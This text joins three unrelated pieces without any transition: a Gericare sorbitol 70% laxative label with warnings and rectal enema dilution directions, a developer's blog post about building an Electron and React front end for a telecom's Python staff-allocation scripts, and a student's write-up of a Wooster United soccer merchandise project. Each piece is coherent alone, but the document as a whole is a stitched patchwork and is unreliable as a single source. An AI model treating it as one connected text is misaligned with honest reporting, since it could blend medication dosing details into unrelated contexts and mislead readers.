Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Active ingredient (in each tablespoonful=15 mL )
Sorbitol 13.5g
Uses
- relieves occasional constipation and irregularity
- generally
produces bowel movement in 1/4 to 1 hour when used rectally
- as a pharmaceutical aide (sweetner)
- for other uses, as your doctor
Warnings
Do not use
- when abdominal pain, nausea, or vomiting are present
- for more than one week unless directed by a doctor
Ask a doctor before use if you
- are taking mineral oil
- have noticed a sudden change in bowel habits that lasts over 2 weeks
Stop use and ask a doctor if you have
rectal bleeding or no bowel movement after using this product. These could be signs of a serious condition.
If pregnant or breast-feeding, ask a health professional before use.
Keep out of reach of children. In case of overdose, get medical help or contact a
Poison Control Center right away.
Directions
• do not exceed recommended dose
Age
|
Dose
|
adults and children 12 years and over
|
For rectal use only. Enema dosage is 120 mL of a 25 to 30% w/v solution (1 part of this product with 2.3 parts water) in a single daily dose as needed, or as directed by your doctor.
|
children under 12 years
|
Ask a doctor.
|
Other information
• store at room temperature 15-30C (59-86F)
• below 59F cloudiness and thickening may occur; warming will restore clarity and fluidity without affecting product quality
• do not freeze
• store in original container
• for institutional use only
Inactive ingredient
water
package Label
GERICARE
NDC 57896-435-16
SORBITOL SOLUTION USP
70% W/W
LAXATIVE
TAMPER EVIDENT: Do not use this product if inner seal over mouth of bottle is missing or broken.
16 FL OZ (473 mL)


Intro
One evening, at the company, where I was working at came a query for “Static UI development”.
Now I’m not exactly sure what the client meant. Especially, since at the start we just got an email with not a lot of details. First me and my colleague (let’s say John), assumed that it was just some HTML & CSS templates. Something small, doable within a couple of days. In the end it turned out to be something completely different. Still fairly small, but I’ll get to that later.
How the requirements came to be
A day later we go into the scheduled meeting, where the product owners (PO), along with two other developers explained to us the problem they were trying to solve. The client was a major US telecom, and they were trying to optimize their employee-to-store allocation.
They wanted to calculate which employees would be best allocated in which store(s). Matching things like:
- employee availability with store working hours
- employee location of residence with store location
- employee experience with store size
They had tried a bunch of possible solutions: Spreadsheets, MS Access etc., but the number of combinations of variables, required to produce the result-set they wanted was too large to run a couple of spreadsheet formulas across and calculate within a reasonable time. Even accounting for the fact that they would need to do this only once every few months. Luckily the development team there had experience with Python, which is quite useful for large amounts of data processing. They could write a set of custom scripts, which, when ran across the data, would yield the desired results.
Now that’s all well and good, but running python scripts from the command line was not something you’d expect your average business manager be able to do. They needed some sort of graphical interface to comfortably manage everything. So after a couple of hours of back and forth with them, we came to a rough set of requirements. They needed to be able to do the following:
- Input the data, and calculation restrictions.
- See some indications that calculations are currently running.
- Have a look at the output data.
- Export the output data into an office-friendly CSV format.
We managed to secure a day for research from the guys, to see how we could best handle this.
A plan of action
Now that we worked out the functional requirements, we started looking for a way to make them a reality. The team consisted of just me and John. We are both web developers, and creating desktop applications was something we had limited experience in. Luckily I had some spare time before all this went down and had looked over a framework called Electron: A NodeJS/Chromium based tool for desktop application development, using web technologies. We spent a few hours looking over the documentation together, and came to the conclusion that it fully satisfied our functional needs. We could make this work.
We had another meeting next afternoon and let the guys know of our plan. It was time to kick off development.
How the plan was carried out
The next day we looked over GitHub and found a popular Electron seed repository, featuring React as the component framework of choice. Things were off to a great start.
We plugged in React Bootstrap as our component library. This was more of a back-office, system tool, and not a client-facing one, there was no need for a fancy design. The UI had to be first and foremost functional. We synced this with our PO guys and they agreed wholeheartedly, as it would drastically reduce development and delivery time. As anyone, who’s worked on a custom design knows - Depending on the complexity it can take half, or even more of your development time working on the design alone. We themed the UI to use colors, consistent with our client’s brand and kept moving from there.
Over the next week we worked closely with the Python team. Discussing the communication interface between the UI and calculation module. As development moved along, we noticed some extra quality of life improvements that could be made. For example - Since the employee distribution calculation took a substantial amount of time, we implemented a way to interrupt the process. This was useful in case someone made an error, inputting the data.
One by one, we implemented the functional requirements. Syncing daily with the PO and Python team. Demoing each feature, as implemented. We comfortably fit within the delivery timeline.
I’ve scrubbed the UI for sensitive info, as well as made some adjustments so most things can fit on a single screen. I’m happy to share with you general overview of how things looked on the finished product.
Finally
It was very exciting to work on a project with these implications, even if it was a bit short. It feels great, knowing you had a part in something that affects thousands of people. We got to expand our technology stack with Electron. A tool, quite handy for desktop application development and for people with our specific skill set. This allowed us to be able to take more varied projects in the future. And last, but not least, we had the chance to work with some lovely people abroad, on this thrilling project.


Wiggam Final Project
1. Describe your project.
For my project I decided to make my own soccer team. I based this team off of my hometown since I spent much of my soccer career
learning and playing endless nights at the Wooster soccer fields. The crest design is influenced by a mixture of Spanish clubs and the
rural roots of Wooster, Ohio.
2. What equipment and materials did you use to create the project.
I made the ultimate Wooster United Fan Pack. This includes a 2018/19 Wooster United Home Jersey (C.WIGGAM#9), a Wooster United
water bottle, and a Wooster United hat. For the jersey I used the Brother Gt-3 Series printer. For the water bottle I used the
Epilog Fusion M2 laser printer.
3. How much time did you spend working on the project?
This project took 4 whole class periods. Most of the first period was spent creating a design. I had to think about the main colors,
the crest, etc. I decided to choose royal blue and gold, traditional Wooster colors. If you notice, there is a golden wreath of wheat
surrounding the "W" and "U" paying homage to the deep rural roots of Wooster that I grew up with. After that I had to finalize the crest and
print the rest of the items.
4. What settings and configurations did you use on each machine.
5. What did you learn from this project?
I learned that innovation drives the world. Creating becomes easier because people created these machines. This will lead
to more creativity by us and we will make machines that create even greater products in the future. Business is changing because of
technology and this class was enjoyable and informative in the process of innovation.
7. Please document each step of your project including photographs and include ALL project files.
Wooster United File